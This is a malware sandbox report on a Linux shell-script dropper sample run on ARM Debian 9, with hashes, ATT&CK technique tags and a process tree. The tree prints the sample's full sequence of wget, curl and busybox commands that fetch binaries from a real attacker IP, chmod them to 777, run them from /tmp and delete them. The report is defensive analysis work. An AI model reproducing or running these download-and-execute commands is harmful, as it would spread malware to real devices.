185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109

Analysis

max time kernel
15s
max time network
51s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 02:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109.sh
Size 10KB
Sample241120-ck3exsyjay
SHA256 185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109
MD5 be24bd05636a7ebc488b8a9d5fdc5386
SHA1 e4995d644b110599daa4e149e256f4184d99fd25
SHA512 880000c6c56074deacf44e8bd8e378bd1983a24be094b0d472892325005a229bfa2426f78b5fc46aa06885cf8c5eeb9d3ec173d0e0cf4aebecef8ca0106f3b19
SSDEEP 192:mEM47YIU6G3s0Yl7Gl76l7rQAY7XD5RRS7q2+WKX7frdf5fZfINBHaBBaiKWF7ta:XnkorQAYQwt5ZINBH2UkorQAe5ZINBf
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
754	chmod
783	chmod
690	chmod
700	chmod
738	chmod
775	chmod
789	chmod
707	chmod
722	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2	691	25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
/tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5	701	UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
/tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX	709	Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
/tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW	723	kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
/tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI	739	l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
/tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE	755	6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
/tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC	776	U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
/tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz	784	vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
/tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6	790	zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
792	wget
695	wget
697	curl
699	busybox
701	UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
702	rm

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2	curl
File opened for modification	/tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5	curl
File opened for modification	/tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC	curl
File opened for modification	/tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX	curl
File opened for modification	/tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW	curl
File opened for modification	/tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI	curl
File opened for modification	/tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE	curl
File opened for modification	/tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz	curl
File opened for modification	/tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6	curl

/tmp/185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109.sh
/tmp/185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109.sh
1⤵
PID:662
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:668
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:687
- /bin/chmod
  chmod 777 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  ./25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - Executes dropped EXE
  PID:691
- /bin/rm
  rm 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:693
- /usr/bin/wget
  wget http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:695
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:697
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:699
- /bin/chmod
  chmod 777 UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  ./UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:701
- /bin/rm
  rm UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:702
- /usr/bin/wget
  wget http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:703
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:705
- /bin/chmod
  chmod 777 Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  ./Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - Executes dropped EXE
  PID:709
- /bin/rm
  rm Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:710
- /usr/bin/wget
  wget http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:719
- /bin/chmod
  chmod 777 kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  ./kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - Executes dropped EXE
  PID:723
- /bin/rm
  rm kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:724
- /usr/bin/wget
  wget http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:735
- /bin/chmod
  chmod 777 l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  ./l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:740
- /usr/bin/wget
  wget http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:751
- /bin/chmod
  chmod 777 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  ./6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:757
- /usr/bin/wget
  wget http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:771
- /bin/chmod
  chmod 777 U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  ./U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:777
- /usr/bin/wget
  wget http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:782
- /bin/chmod
  chmod 777 vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  ./vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - Executes dropped EXE
  PID:784
- /bin/rm
  rm vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:785
- /usr/bin/wget
  wget http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:788
- /bin/chmod
  chmod 777 zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  ./zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:791
- /usr/bin/wget
  wget http://87.120.125.191/bins/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - System Network Configuration Discovery
  PID:792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2

Path /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads